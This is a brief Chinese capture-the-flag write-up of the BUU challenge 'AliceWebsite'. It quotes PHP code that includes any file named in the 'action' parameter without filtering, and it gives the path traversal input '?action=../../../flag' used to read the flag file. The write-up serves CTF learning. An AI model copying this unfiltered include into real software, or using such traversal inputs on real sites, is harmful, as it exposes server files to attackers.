BUU [网鼎杯 2020 半决赛]AliceWebsite
开题:
hint附件是源码。在index.php中有一个毫无过滤的本地文件包含
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
../
往上跳目录,在根目录下/flag
文件中找到flag
/index.php?action=../../../flag